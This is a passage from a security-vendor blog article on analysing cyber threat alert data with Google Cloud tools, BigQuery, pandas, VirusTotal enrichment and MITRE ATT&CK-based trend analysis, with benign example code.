Analytics","slug":"google-cloud-for-cyber-data-analytics","date":"2023-12-14","description":"This article explains how we conduct comprehensive cyber threat data analysis using Google Cloud, from data extraction and preprocessing to trend analysis and presentation. It emphasizes the value of BigQuery, Python, and Google Sheets - showcasing how to refine and visualize data for insightful cybersecurity analysis.","image":"photo-edited-12.png","subtitle":"Navigating the seas of cyber threat data with Google Cloud","tags":["google cloud"],"body":{"raw":"\n# Introduction\n\nIn today's digital age, the sheer volume of data generated by devices and systems can be both a challenge and an opportunity for security practitioners. Analyzing a high magnitude of data to craft valuable or actionable insights on cyber attack trends requires precise tools and methodologies.\n\nBefore you delve into the task of data analysis, you might find yourself asking:\n\n - What specific questions am I aiming to answer, and do I possess the necessary data?\n - Where is all the pertinent data located?\n - How can I gain access to this data?\n - Upon accessing the data, what steps are involved in understanding and organizing it?\n - Which tools are most effective for extracting, interpreting, or visualizing the data?\n - Should I analyze the raw data immediately or wait until it has been processed?\n - Most crucially, what actionable insights can be derived from the data?\n\nIf these questions resonate with you, you're on the right path. Welcome to the world of Google Cloud, where we'll address these queries and guide you through the process of creating a comprehensive report.\n\nOur approach will include several steps in the following order:\n\n**Exploration:** We start by thoroughly understanding the data at our disposal. This phase involves identifying potential insights we aim to uncover and verifying the availability of the required data.\n\n**Extraction:** Here, we gather the necessary data, focusing on the most relevant and current information for our analysis.\n\n**Pre-processing and transformation:** At this stage, we prepare the data for analysis. This involves normalizing (cleaning, organizing, and structuring) the data to ensure its readiness for further processing.\n\n**Trend analysis:** The majority of our threat findings and observations derive from this effort. We analyze the processed data for patterns, trends, and anomalies. Techniques such as time series analysis and aggregation are employed to understand the evolution of threats over time and to highlight significant cyber attacks across various platforms.\n\n**Reduction:** In this step, we distill the data to its most relevant elements, focusing on the most significant and insightful aspects.\n\n**Presentation:** The final step is about presenting our findings. Utilizing tools from Google Workspace, we aim to display our insights in a clear, concise, and visually-engaging manner.\n\n**Conclusion:** Reflecting on this journey, we'll discuss the importance of having the right analytical tools. We'll highlight how Google Cloud Platform (GCP) provides an ideal environment for analyzing cyber threat data, allowing us to transform raw data into meaningful insights.\n\n# Exploration: Determining available data\n\nBefore diving into any sophisticated analyses, it's necessary to prepare by establishing an understanding of the data landscape we intend to study.\n\nHere's our approach:\n\n 1. **Identifying available data:** The first step is to ascertain what data is accessible. This could include malware phenomena, endpoint anomalies, cloud signals, etc. Confirming the availability of these data types is essential.\n 2. **Locating the data stores:** Determining the exact location of our data. Knowing where our data resides – whether in databases, data lakes, or other storage solutions – helps streamline the subsequent analysis process.\n 3. **Accessing the data:** It’s important to ensure that we have the necessary permissions or credentials to access the datasets we need. If we don’t, attempting to identify and request access from the resource owner is necessary.\n 4. **Understanding the data schema:** Comprehending the structure of our data is vital. Knowing the schema aids in planning the analysis process effectively.\n 5. **Evaluating data quality:** Just like any thorough analysis, assessing the quality of the data is crucial. We check whether the data is segmented and detailed enough for a meaningful trend analysis.\n\nThis phase is about ensuring that our analysis is based on solid and realistic foundations. For a report like the [Global Threat Report](http://www.elastic.co/gtr), we rely on rich and pertinent datasets such as:\n\n - **Cloud signal data:** This includes data from global Security Information and Event Management (SIEM) alerts, especially focusing on cloud platforms like AWS, GCP, and Azure. This data is often sourced from [public detection rules](https://github.com/elastic/detection-rules).\n - **Endpoint alert data:** Data collected from the global [Elastic Defend](https://docs.elastic.co/en/integrations/endpoint) alerts, incorporating a variety of public [endpoint behavior rules](https://github.com/elastic/protections-artifacts/tree/main/behavior).\n - **Malware data:** This involves data from global Elastic Defend alerts, enriched with [MalwareScore](https://www.elastic.co/blog/introducing-elastic-endpoint-security) and public [YARA rules](https://github.com/elastic/protections-artifacts/tree/main/yara).\n \n Each dataset is categorized and enriched for context with frameworks like [MITRE ATT\u0026CK](https://attack.mitre.org/), Elastic Stack details, and customer insights. Storage solutions of Google Cloud Platform, such as BigQuery and Google Cloud Storage (GCS) buckets, provide a robust infrastructure for our analysis.\n\nIt's also important to set a data “freshness” threshold, excluding data not older than 365 days for an annual report, to ensure relevance and accuracy.\n\nLastly, remember to choose data that offers an unbiased perspective. Excluding or including internal data should be an intentional, strategic decision based on its relevance to your visibility.\n\nIn summary, selecting the right tools and datasets is fundamental to creating a comprehensive and insightful analysis. Each choice contributes uniquely to the overall effectiveness of the data analysis, ensuring that the final insights are both valuable and impactful.\n\n# Extraction: The first step in data analysis\n\nHaving identified and located the necessary data, the next step in our analytical journey is to extract this data from our storage solutions. This phase is critical, as it sets the stage for the in-depth analysis that follows.\n\n## Data extraction tools and techniques\n\nVarious tools and programming languages can be utilized for data extraction, including Python, R, Go, Jupyter Notebooks, and Looker Studio. Each tool offers unique advantages, and the choice depends on the specific needs of your analysis.\n\nIn our data extraction efforts, we have found the most success from a combination of [BigQuery](https://cloud.google.com/bigquery?hl=en), [Colab Notebooks](https://colab.google/), [buckets](https://cloud.google.com/storage/docs/json_api/v1/buckets), and [Google Workspace](https://workspace.google.com/) to extract the required data. Colab Notebooks, akin to Jupyter Notebooks, operate within Google's cloud environment, providing a seamless integration with other Google Cloud services.\n\n## BigQuery for data staging and querying\n\nIn the analysis process, a key step is to \"stage\" our datasets using BigQuery. This involves utilizing BigQuery queries to create and save objects, thereby making them reusable and shareable across our team. We achieve this by employing the [CREATE TABLE](https://hevodata.com/learn/google-bigquery-create-table/#b2) statement, which allows us to combine multiple [datasets](https://cloud.google.com/bigquery/docs/datasets-intro) such as endpoint behavior alerts, customer data, and rule data into a single, comprehensive dataset.\n\nThis consolidated dataset is then stored in a BigQuery table specifically designated for this purpose–for this example, we’ll refer to it as the “Global Threat Report” dataset. This approach is applied consistently across different types of data, including both cloud signals and malware datasets.\n\nThe newly created data table, for instance, might be named `elastic.global_threat_report.ep_behavior_raw`. This naming convention, defined by BigQuery, helps in organizing and locating the datasets effectively, which is crucial for the subsequent stages of the extraction process.\n\nAn example of a BigQuery query used in this process might look like this:\n\n```\nCREATE TABLE elastic.global_threat_report.ep_behavior_raw AS\nSELECT * FROM ...\n```\n\n\nDiagram for BigQuery query to an exported dataset table\n\nWe also use the [EXPORT DATA](https://cloud.google.com/bigquery/docs/reference/standard-sql/other-statements#export_data_statement) statement in BigQuery to transfer tables to other GCP services, like exporting them to Google Cloud Storage (GCS) buckets in [parquet file format](https://parquet.apache.org/).\n\n```\nEXPORT DATA\n OPTIONS (\n uri = 'gs://**/ep_behavior/*.parquet',\n format = 'parquet',\n overwrite = true\n )\nAS (\nSELECT * FROM `project.global_threat_report.2023_pre_norm_ep_behavior`\n)\n```\n\n## Colab Notebooks for loading staged datasets\n\n[Colab Notebooks](https://colab.research.google.com/) are instrumental in organizing our data extraction process. They allow for easy access and management of data scripts stored in platforms like GitHub and Google Drive.\n\nFor authentication and authorization, we use Google Workspace credentials, simplifying access to various Google Cloud services, including BigQuery and Colab Notebooks. Here's a basic example of how authentication is handled:\n\n\nDiagram for authentication and authorization between Google Cloud services\n\nFor those new to [Jupyter Notebooks](https://jupyter-notebook-beginner-guide.readthedocs.io/en/latest/) or dataframes, it's beneficial to spend time becoming familiar with these tools. They are fundamental in any data analyst's toolkit, allowing for efficient code management, data analysis, and structuring. Mastery of these tools is key to effective data analysis.\n\nUpon creating a notebook in Google Colab, we're ready to extract our custom tables (such as project.global_threat_report.ep_behavior_raw) from BigQuery. This data is then loaded into Pandas Dataframes, a Python library that facilitates data manipulation and analysis. While handling large datasets with Python can be challenging, Google Colab provides robust virtual computing resources. If needed, these resources can be scaled up through the Google Cloud [Marketplace](https://console.cloud.google.com/marketplace/product/colab-marketplace-image-public/colab) or the Google Cloud Console, ensuring that even large datasets can be processed efficiently.\n\n## Essential Python libraries for data analysis\n\nIn our data analysis process, we utilize various Python libraries, each serving a specific purpose:\n\n| Library | Description |\n|-----------|---------------|\n|[datetime](https://docs.python.org/3/library/datetime.html) | Essential for handling all operations related to date and time in your data. It allows you to manipulate and format date and time information for analysis. |\n| [google.auth](https://google-auth.readthedocs.io/en/master/) | Manages authentication and access permissions, ensuring secure access to Google Cloud services. It's key for controlling who can access your data and services. |\n| [google.colab.auth](https://cloud.google.com/python/docs/reference/bigquery/latest) | Provides authentication for accessing Google Cloud services within Google Colab notebooks, enabling a secure connection to your cloud-based resources. |\n| [google.cloud.bigquery](https://cloud.google.com/python/docs/reference/bigquery/latest) | A tool for managing large datasets in Google Cloud's BigQuery service. It allows for efficient processing and analysis of massive amounts of data. |\n| [google.cloud.storage](https://cloud.google.com/python/docs/reference/storage/latest) | Used for storing and retrieving data in Google Cloud Storage. It's an ideal solution for handling various data files in the cloud. |\n| [gspread](https://docs.gspread.org/en/latest/) | Facilitates interaction with Google Spreadsheets, allowing for easy manipulation and analysis of spreadsheet data. |\n| [gspread.dataframe](https://pypi.org/project/gspread-dataframe/).set_with_dataframe | Syncs data between Pandas dataframes and Google Spreadsheets, enabling seamless data transfer and updating between these formats. |\n| [matplotlib](https://pypi.org/project/matplotlib/).pyplot.plt | A module in Matplotlib library for creating charts and graphs. It helps in visualizing data in a graphical format, making it easier to understand patterns and trends. |\n| [pandas](https://pandas.pydata.org/) | A fundamental tool for data manipulation and analysis in Python. It offers data structures and operations for manipulating numerical tables and time series. |\n| [pandas.gbq](https://pypi.org/project/pandas-gbq/).to_gbq | Enables the transfer of data from Pandas dataframes directly into Google BigQuery, streamlining the process of moving data into this cloud-based analytics platform. |\n| [pyarrow](https://arrow.apache.org/docs/python/index.html).parquet.pq | Allows for efficient storage and retrieval of data in the Parquet format, a columnar storage file format optimized for use with large datasets. |\n| [seaborn](https://seaborn.pydata.org/) | A Python visualization library based on Matplotlib that provides a high-level interface for drawing attractive and informative statistical graphics. |\n\nNext, we authenticate with BigQuery, and receive authorization to access our datasets as demonstrated earlier. By using Google Workspace credentials, we can easily access BigQuery and other Google Cloud services. The process typically involves a simple code snippet for authentication:\n\n```\nfrom google.colab import auth\nfrom google.cloud import bigquery\n\nauth.authenticate_user()\nproject_id = \"PROJECT_FROM_GCP\"\nclient = bigquery.Client(project=project_id)\n```\n\nWith authentication complete, we can then proceed to access and manipulate our data. Google Colab's integration with Google Cloud services simplifies this process, making it efficient and secure.\n\n## Organizing Colab Notebooks before analysis\n\nWhen working with Jupyter Notebooks, it's better to organize your notebook beforehand. Various stages of handling and manipulating data will be required, and staying organized will help you create a repeatable, comprehensive process. \n\nIn our notebooks, we use Jupyter Notebook headers to organize the code systematically. This structure allows for clear compartmentalization and the creation of collapsible sections, which is especially beneficial when dealing with complex data operations that require multiple steps. This methodical organization aids in navigating the notebook efficiently, ensuring that each step in the data extraction and analysis process is easily accessible and manageable.\n\nMoreover, while the workflow in a notebook might seem linear, it's often more dynamic. Data analysts frequently engage in multitasking, jumping between different sections as needed based on the data or results they encounter. Furthermore, new insights discovered in one step may influence another step’s process, leading to some back and forth before finishing the notebook.\n | \n \n## Extracting Our BigQuery datasets into dataframes\n\nAfter establishing the structure of our notebook and successfully authenticating with BigQuery, our next step is to retrieve the required datasets. This process sets the foundation for the rest of the report, as the information from these sources will form the basis of our analysis, similar to selecting the key components required for a comprehensive study.\n\nHere's an example of how we might fetch data from BigQuery:\n\n```\nimport datetime\n\ncurrent_year = datetime.datetime.now().year\nreb_dataset_id = f'project.global_threat_report.{current_year}_raw_ep_behavior'\nreb_table = client.list_rows(reb_dataset_id)\nreb_df = reb_table.to_dataframe() \n```\n\nThis snippet demonstrates a typical data retrieval process. We first define the dataset we're interested in (with the Global Threat Report, `project.global_threat_report.ep_behavior_raw` for the current year). Then, we use a BigQuery query to select the data from this dataset and load it into a Pandas DataFrame. This DataFrame will serve as the foundation for our subsequent data analysis steps.\n\n\nColab Notebook snippet for data extraction from BigQuery into Pandas dataframe\n\nThis process marks the completion of the extraction phase. We have successfully navigated BigQuery to select and retrieve the necessary datasets and load them in our notebooks within dataframes. The extraction phase is pivotal, as it not only involves gathering the data but also setting up the foundation for deeper analysis. It's the initial step in a larger journey of discovery, leading to the transformation phase, where we will uncover more detailed insights from the data.\n\nIn summary, this part of our data journey is about more than just collecting datasets; it's about structurally preparing them for the in-depth analysis that follows. This meticulous approach to organizing and executing the extraction phase sets the stage for the transformative insights that we aim to derive in the subsequent stages of our data analysis.\n\n# Pre-processing and transformation: The critical phase of data analysis\n\nThe transition from raw data to actionable insights involves a series of crucial steps in data processing. After extracting data, our focus shifts to refining it for analysis. Cybersecurity datasets often include various forms of noise, such as false positives and anomalies, which must be addressed to ensure accurate and relevant analysis.\n\nKey stages in data pre-processing and transformation:\n\n - **Data cleaning:** This stage involves filling NULL values, correcting data misalignments, and validating data types to ensure the dataset's integrity.\n - **Data enrichment:** In this step, additional context is added to the dataset. For example, incorporating third-party data, like malware reputations from sources such as VirusTotal, enhances the depth of analysis.\n - **Normalization:** This process standardizes the data to ensure consistency, which is particularly important for varied datasets like endpoint malware alerts.\n - **Anomaly detection:** Identifying and rectifying outliers or false positives is critical to maintain the accuracy of the dataset.\n - **Feature extraction:** The process of identifying meaningful, consistent data points that can be further extracted for analysis.\n\n## Embracing the art of data cleaning\n\nData cleaning is a fundamental step in preparing datasets for comprehensive analysis, especially in cybersecurity. This process involves a series of technical checks to ensure data integrity and reliability. Here are the specific steps:\n\n - **Mapping to MITRE ATT\u0026CK framework:** Verify that all detection and response rules in the dataset are accurately mapped to the corresponding tactics and techniques in the MITRE ATT\u0026CK framework. This check includes looking for NULL values or any inconsistencies in how the data aligns with the framework.\n\n - **Data type validation:** Confirm that the data types within the dataset are appropriate and consistent. For example, timestamps should be in a standardized datetime format. This step may involve converting string formats to datetime objects or verifying that numerical values are in the correct format.\n\n - **Completeness of critical data:** Ensure that no vital information is missing from the dataset. This includes checking for the presence of essential elements like SHA256 hashes or executable names in endpoint behavior logs. The absence of such data can lead to incomplete or biased analysis.\n\n - **Standardization across data formats:** Assess and implement standardization of data formats across the dataset to ensure uniformity. This might involve normalizing text formats, ensuring consistent capitalization, or standardizing date and time representations.\n\n - **Duplicate entry identification:** Identify and remove duplicate entries by examining unique identifiers such as XDR agent IDs or cluster IDs. This process might involve using functions to detect and remove duplicates, ensuring the uniqueness of each data entry.\n\n - **Exclusion of irrelevant internal data:** Locate and remove any internal data that might have inadvertently been included in the dataset. This step is crucial to prevent internal biases or irrelevant information from affecting the analysis.\n\n It is important to note that data cleaning or “scrubbing the data” is a continuous effort throughout our workflow. As we continue to peel back the layers of our data and wrangle it for various insights, it is expected that we identify additional changes.\n\n## Utilizing Pandas for data cleaning\n\nThe [Pandas](https://pandas.pydata.org/about/) library in Python offers several functionalities that are particularly useful for data cleaning in cybersecurity contexts. Some of these methods include:\n\n - `DataFrame.isnull()` or `DataFrame.notnull()` to identify missing values.\n - `DataFrame.drop_duplicates()` to remove duplicate rows.\n - Data type conversion methods like `pd.to_datetime()` for standardizing timestamp formats.\n - Utilizing boolean indexing to filter out irrelevant data based on specific criteria.\n\nA thorough understanding of the dataset is essential to determine the right cleaning methods. It may be necessary to explore the dataset preliminarily to identify specific areas requiring cleaning or transformation. Additional helpful methods and workflows can be found listed in [this](https://realpython.com/python-data-cleaning-numpy-pandas/) Real Python blog.\n\n## Feature extraction and enrichment\n\nFeature extraction and enrichment are core steps in data analysis, particularly in the context of cybersecurity. These processes involve transforming and augmenting the dataset to enhance its usefulness for analysis. \n\n - **Create new data from existing:** This is where we modify or use existing data to add additional columns or rows.\n - **Add new data from 3rd-party:** Here, we use existing data as a query reference for 3rd-party RESTful APIs which respond with additional data we can add to the datasets.\n\n## Feature extraction\n\nLet’s dig into a tangible example. Imagine we're presented with a bounty of publicly available YARA signatures that Elastic [shares](https://github.com/elastic/protections-artifacts/tree/main/yara/rules) with its community. These signatures trigger some of the endpoint malware alerts in our dataset. A consistent naming convention has been observed based on the rule name that, of course, shows up in the raw data: `OperationsSystem_MalwareCategory_MalwareFamily`. These names can be deconstructed to provide more specific insights. Leveraging Pandas, we can expertly slice and dice the data. For those who prefer doing this during the dataset staging phase with BigQuery, the combination of [SPLIT](https://cloud.google.com/bigquery/docs/reference/standard-sql/string_functions#split) and [OFFSET](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators#offset_and_ordinal) clauses can yield similar results:\n\n```\ndf[['OperatingSystem', 'MalwareCategory', 'MalwareFamily']] = df['yara_rule_name'].str.split('_', expand=True)\n```\n\n\nFeature extraction with our YARA data\n\nThere are additional approaches, methods, and processes to feature extraction in data analysis. We recommend consulting your stakeholder's wants/needs and exploring your data to help determine what is necessary for extraction and how.\n\n## Data enrichment\n\nData enrichment enhances the depth and context of cybersecurity datasets. One effective approach involves integrating external data sources to provide additional perspectives on the existing data. This can be particularly valuable in understanding and interpreting cybersecurity alerts.\n\n**Example of data enrichment: Integrating VirusTotal reputation data**\nA common method of data enrichment in cybersecurity involves incorporating reputation scores from external threat intelligence services like [VirusTotal](https://www.virustotal.com/gui/home/search) (VT). This process typically includes:\n\n 1. **Fetching reputation data:** Using an API key from VT, we can query for reputational data based on unique identifiers in our dataset, such as SHA256 hashes of binaries.\n\n```\nimport requests\n\ndef get_reputation(sha256, API_KEY, URL):\n params = {'apikey': API_KEY, 'resource': sha256}\n response = requests.get(URL, params=params)\n json_response = response.json()\n \n if json_response.get(\"response_code\") == 1:\n positives = json_response.get(\"positives\", 0)\n return classify_positives(positives)\n else:\n return \"unknown\"\n```\n\nIn this function, `classify_positives` is a custom function that classifies the reputation based on the number of antivirus engines that flagged the file as malicious.\n\n 2. **Adding reputation data to the dataset:** The reputation data fetched from VirusTotal is then integrated into the existing dataset. This is done by applying the `get_reputation` function to each relevant entry in the DataFrame.\n\n```\ndf['reputation'] = df['sha256'].apply(lambda x: get_reputation(x, API_KEY, URL))\n\n```\n\nHere, a new column named `reputation` is added to the dataframe, providing an additional layer of information about each binary based on its detection rate in VirusTotal.\n\nThis method of data enrichment is just one of many options available for enhancing cybersecurity threat data. By utilizing robust helper functions and tapping into external data repositories, analysts can significantly enrich their datasets. This enrichment allows for a more comprehensive understanding of the data, leading to a more informed and nuanced analysis. The techniques demonstrated here are part of a broader range of advanced data manipulation methods that can further refine cybersecurity data analysis.\n\n## Normalization\n\nEspecially when dealing with varied datasets in cybersecurity, such as endpoint alerts and cloud SIEM notifications, normalization may be required to get the most out of your data. \n\n**Understanding normalization:** At its core, normalization is about adjusting values measured on different scales to a common scale, ensuring that they are proportionally represented, and reducing redundancy. In the cybersecurity context, this means representing events or alerts in a manner that doesn't unintentionally amplify or reduce their significance.\n\nConsider our endpoint malware dataset. When analyzing trends, say, infections based on malware families or categories, we aim for an accurate representation. However, a single malware infection on an endpoint could generate multiple alerts depending on the Extended Detection and Response (XDR) system. If left unchecked, this could significantly skew our understanding of the threat landscape. To counteract this, we consider the Elastic agents, which are deployed as part of the XDR solution. Each endpoint has a unique agent, representing a single infection instance if malware is detected. Therefore, to normalize this dataset, we would \"flatten\" or adjust it based on unique agent IDs. This means, for our analysis, we'd consider the number of unique agent IDs affected by a specific malware family or category rather than the raw number of alerts.\n\n\nExample visualization of malware alert normalization by unique agents\n\nAs depicted in the image above, if we chose to not normalize the malware data in preparation for trend analysis, our key findings would depict inaccurate information. This inaccuracy could be sourced from a plethora of data inconsistencies such as generic YARA rules, programmatic operations that were flagged repeatedly on a single endpoint, and many more.\n\n**Diversifying the approach:** On the other hand, when dealing with endpoint behavior alerts or cloud alerts (from platforms like AWS, GCP, Azure, Google Workspace, and O365), our normalization approach might differ. These datasets could have their own nuances and may not require the same \"flattening\" technique used for malware alerts.\n\n**Conceptualizing normalization options:** Remember the goal of normalization is to reduce redundancy in your data. Make sure to keep your operations as atomic as possible in case you need to go back and tweak them later. This is especially true when performing both normalization and standardization. Sometimes these can be difficult to separate, and you may have to go back and forth between the two. Analysts have a wealth of options for these. From [Min-Max](https://www.geeksforgeeks.org/data-pre-processing-wit-sklearn-using-standard-and-minmax-scaler/) scaling, where values are shifted and rescaled to range between 0 and 1, to [Z-score](https://www.statology.org/z-score-python/) normalization (or standardization), where values are centered around zero and standard deviations from the mean. The choice of technique depends on the nature of the data and the specific requirements of the analysis. \n\nIn essence, normalization ensures that our cybersecurity analysis is based on a level playing field, giving stakeholders an accurate view of the threat environment without undue distortions. This is a critical step before trend analysis.\n\n## Anomaly detection: Refining the process of data analysis\n\nIn the realm of cybersecurity analytics, a one-size-fits-all approach to anomaly detection does not exist. The process is highly dependent on the specific characteristics of the data at hand. The primary goal is to identify and address outliers that could potentially distort the analysis. This requires a dynamic and adaptable methodology, where understanding the nuances of the dataset is crucial.\n\nAnomaly detection in cybersecurity involves exploring various techniques and methodologies, each suited to different types of data irregularities. The strategy is not to rigidly apply a single method but rather to use a deep understanding of the data to select the most appropriate technique for each situation. The emphasis is on flexibility and adaptability, ensuring that the approach chosen provides the clearest and most accurate insights into the data.\n\n### Statistical methods – The backbone of analysis:\n\nStatistical analysis is always an optional approach to anomaly detection, especially for cyber security data. By understanding the inherent distribution and central tendencies of our data, we can highlight values that deviate from the norm. A simple yet powerful method, the Z-score, gauges the distance of a data point from the mean in terms of standard deviations.\n\n```\nimport numpy as np\n\n# Derive Z-scores for data points in a feature\nz_scores = np.abs((df['mitre_technique'] - df['mitre_technique'].mean()) / df['mitre_technique'].std())\n\noutliers = df[z_scores \u003e 3] # Conventionally, a Z-score above 3 signals an outlier\n```\n\n**Why this matters:** This method allows us to quantitatively gauge the significance of a data point's deviation. Such outliers can heavily skew aggregate metrics like mean or even influence machine learning model training detrimentally. Remember, outliers should not always be removed; it is all about context! Sometimes you may even be looking for the outliers specifically.\n\n**Key library:** While we utilize [NumPy](https://numpy.org/) above, [SciPy](https://scipy.org/) can also be employed for intricate statistical operations.\n\n## Aggregations and sorting – unraveling layers:\n\nData often presents itself in layers. By starting with a high-level view and gradually diving into specifics, we can locate inconsistencies or anomalies. When we aggregate by categories such as the MITRE ATT\u0026CK tactic, and then delve deeper, we gradually uncover the finer details and potential anomalies as we go from technique to rule logic and alert context.\n\n```\n# Aggregating by tactics first\ntactic_agg = df.groupby('mitre_tactic').size().sort_values(ascending=False)\n```\n\nFrom here, we can identify the most common tactics and choose the tactic with the highest count. We then filter our data for this tactic to identify the most common technique associated with the most common tactic. Techniques often are more specific than tactics and thus add more explanation about what we may be observing. Following the same approach we can then filter for this specific technique, aggregate by rule and review that detection rule for more context. The goal here is to find “noisy” rules that may be skewing our dataset and thus related alerts need to be removed. This cycle can be repeated until outliers are removed and the percentages appear more accurate.\n\n**Why this matters:** This layered analysis approach ensures no stone is left unturned. By navigating from the general to the specific, we systematically weed out inconsistencies.\n\n**Key library:** Pandas remains the hero, equipped to handle data-wrangling chores with finesse.\n\n### Visualization – The lens of clarity:\n\nSometimes, the human eye, when aided with the right visual representation, can intuitively detect what even the most complex algorithms might miss. A boxplot, for instance, not only shows the central tendency and spread of data but distinctly marks outliers.\n\n```\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nplt.figure(figsize=(12, 8))\nsns.boxplot(x='Malware Family', y='Malware Score', data=df)\nplt.title('Distribution of Malware Scores by Family')\nplt.show()\n```\n\n\nExample visualization of malware distribution scores by family from an example dataset\n\n**Why this matters:** Visualization transforms abstract data into tangible insights. It offers a perspective that's both holistic and granular, depending on the need.\n\n**Key library:** Seaborn, built atop Matplotlib, excels at turning data into visual stories.\n\n### Machine learning – The advanced guard:\n\nWhen traditional methods are insufficient, machine learning steps in, offering a predictive lens to anomalies. While many algorithms are designed to classify known patterns, some, like autoencoders in deep learning, learn to recreate 'normal' data, marking any deviation as an anomaly.\n\n**Why this matters:** As data complexity grows, the boundaries of what constitutes an anomaly become blurrier. Machine learning offers adaptive solutions that evolve with the data.\n\n**Key libraries:** [Scikit-learn](https://scikit-learn.org/stable/) is a treasure trove for user-friendly, classical machine learning techniques, while [PyTorch](https://pytorch.org/) brings the power of deep learning to the table.\n\nPerfecting anomaly detection in data analysis is similar to refining a complex skill through practice and iteration. The process often involves trial and error, with each iteration enhancing the analyst's familiarity with the dataset. This progressive understanding is key to ensuring that the final analysis is both robust and insightful. In data analysis, the journey of exploration and refinement is as valuable as the final outcome itself.\n\nBefore proceeding to in-depth trend analysis, it's very important to ensure that the data is thoroughly pre-processed and transformed. Just as precision and reliability are essential in any meticulous task, they are equally critical in data analysis. The steps of cleaning, normalizing, enriching, and removing anomalies from the groundwork for deriving meaningful insights. Without these careful preparations, the analysis could range from slightly inaccurate to significantly misleading. It's only when the data is properly refined and free of distortions that it can reveal its true value, leading to reliable and actionable insights in trend analysis.\n\n# Trend analysis: Unveiling patterns in data\n\nIn the dynamic field of cybersecurity where threat actors continually evolve their tactics, techniques, and procedures (TTPs), staying ahead of emerging threats is critical. Trend analysis serves as a vital tool in this regard, offering a way to identify and understand patterns and behaviors in cyber threats over time.\n\nBy utilizing the MITRE ATT\u0026CK framework, cybersecurity professionals have a structured and standardized approach to analyzing and categorizing these evolving threats. This framework aids in systematically identifying patterns in attack methodologies, enabling defenders to anticipate and respond to changes in adversary behaviors effectively.\n\nTrend analysis, through the lens of the MITRE ATT\u0026CK framework, transforms raw cybersecurity telemetry into actionable intelligence. It allows analysts to track the evolution of attack strategies and to adapt their defense mechanisms accordingly, ensuring a proactive stance in cybersecurity management.\n\n## Beginning with a broad overview: Aggregation and sorting\n\nCommencing our analysis with a bird's eye view is paramount. This panoramic perspective allows us to first pinpoint the broader tactics in play before delving into the more granular techniques and underlying detection rules.\n\n**Top tactics:** By aggregating our data based on MITRE ATT\u0026CK tactics, we can discern the overarching strategies adversaries lean toward. This paints a picture of their primary objectives, be it initial access, execution, or exfiltration.\n\n```\ntop_tactics = df.groupby('mitre_tactic').size()\n .sort_values(ascending=False)\n```\n\n**Zooming into techniques:** Once we've identified a prominent tactic, we can then funnel our attention to the techniques linked to that tactic. This reveals the specific modus operandi of adversaries.\n\n```\nchosen_tactic = 'Execution'\n\ntechniques_under_tactic = df[df['mitre_tactic'] == chosen_tactic]\ntop_techniques = techniques_under_tactic.groupby('mitre_technique').size()\n .sort_values(ascending=False)\n```\n\n**Detection rules and logic:** With our spotlight on a specific technique, it's time to delve deeper, identifying the detection rules that triggered alerts. This not only showcases what was detected, but by reviewing the detection logic, we also gain an understanding of the precise behaviors and patterns that were flagged.\n\n```\nchosen_technique = 'Scripting'\n\nrules_for_technique = techniques_under_tactic[techniques_under_tactic['mitre_technique'] == chosen_technique]\n\ntop_rules = rules_for_technique\n .groupby('detection_rule').size().sort_values(ascending=False)\n```\n\nThis hierarchical, cascading approach is akin to peeling an onion. With each layer, we expose more intricate details, refining our perspective and sharpening our insights.\n\n## The power of time: Time series analysis\n\nIn the realm of cybersecurity, time isn't just a metric; it's a narrative. Timestamps, often overlooked, are goldmines of insights. Time series analysis allows us to plot events over time, revealing patterns, spikes, or lulls that might be indicative of adversary campaigns, specific attack waves, or dormancy periods.\n\nFor instance, plotting endpoint malware alerts over time can unveil an adversary's operational hours or spotlight a synchronized, multi-vector attack:\n\n```\nimport matplotlib.pyplot as plt\n\n# Extract and plot endpoint alerts over time\ndf.set_index('timestamp')['endpoint_alert'].resample('D').count().plot()\nplt.title('Endpoint Malware Alerts Over Time')\nplt.xlabel('Time')\nplt.ylabel('Alert Count')\nplt.show()\n```\n\nTime series analysis doesn't just highlight \"when\" but often provides insights into the \"why\" behind certain spikes or anomalies. It aids in correlating external events (like the release of a new exploit) to internal data trends.\n\n## Correlation analysis\n\nUnderstanding relationships between different sets of data can offer valuable insights. For instance, a spike in one type of alert could correlate with another type of activity in the system, shedding light on multi-stage attack campaigns or diversion strategies.\n\n```\n# Finding correlation between an increase in login attempts and data exfiltration activities\ncorrelation_value = df['login_attempts'].corr(df['data_exfil_activity'])\n```\n\nThis analysis, with the help of pandas [corr](https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.corr.html), can help in discerning whether multiple seemingly isolated activities are part of a coordinated attack chain.\n\nCorrelation also does not have to be metric-driven either. When analyzing threats, it is easy to find value and new insights by comparing older findings to the new ones.\n\n## Machine learning \u0026 anomaly detection\n\nWith the vast volume of data, manual analysis becomes impractical. Machine learning can assist in identifying patterns and anomalies that might escape the human eye. Algorithms like [Isolation Forest](https://scikit-learn.org/stable/modules/generated/sklearn.ensemble.IsolationForest.html) or [K-nearest neighbor](https://scikit-learn.org/stable/modules/neighbors.html)(KNN) are commonly used to spot deviations or clusters of commonly related data.\n\n```\nfrom sklearn.ensemble import IsolationForest\n\n# Assuming 'feature_set' contains relevant metrics for analysis\nclf = IsolationForest(contamination=0.05)\nanomalies = clf.fit_predict(feature_set)\n```\n\nHere, the anomalies variable will flag data points that deviate from the norm, helping analysts pinpoint unusual behavior swiftly.\n\n## Behavioral patterns \u0026 endpoint data analysis\n\nAnalyzing endpoint behavioral data collected from detection rules allows us to unearth overarching patterns and trends that can be indicative of broader threat landscapes, cyber campaigns, or evolving attacker TTPs.\n\n**Tactic progression patterns:** By monitoring the sequence of detected behaviors over time, we can spot patterns in how adversaries move through their attack chain. For instance, if there's a consistent trend where initial access techniques are followed by execution and then lateral movement, it's indicative of a common attacker playbook being employed.\n\n**Command-line trend analysis:** Even within malicious command-line arguments, certain patterns or sequences can emerge. Monitoring the most frequently detected malicious arguments can give insights into favored attack tools or scripts.\n\nExample:\n\n```\n# Most frequently detected malicious command lines\ntop_malicious_commands = df.groupby('malicious_command_line').size()\n .sort_values(ascending=False).head(10)\n```\n\n**Process interaction trends:** While individual parent-child process relationships can be malicious, spotting trends in these interactions can hint at widespread malware campaigns or attacker TTPs. For instance, if a large subset of endpoints is showing the same unusual process interaction, it might suggest a common threat.\n\n**Temporal behavior patterns:** Just as with other types of data, the temporal aspect of endpoint behavioral data can be enlightening. Analyzing the frequency and timing of certain malicious behaviors can hint at attacker operational hours or campaign durations.\n\nExample:\n\n```\n# Analyzing frequency of a specific malicious behavior over time\nmonthly_data = 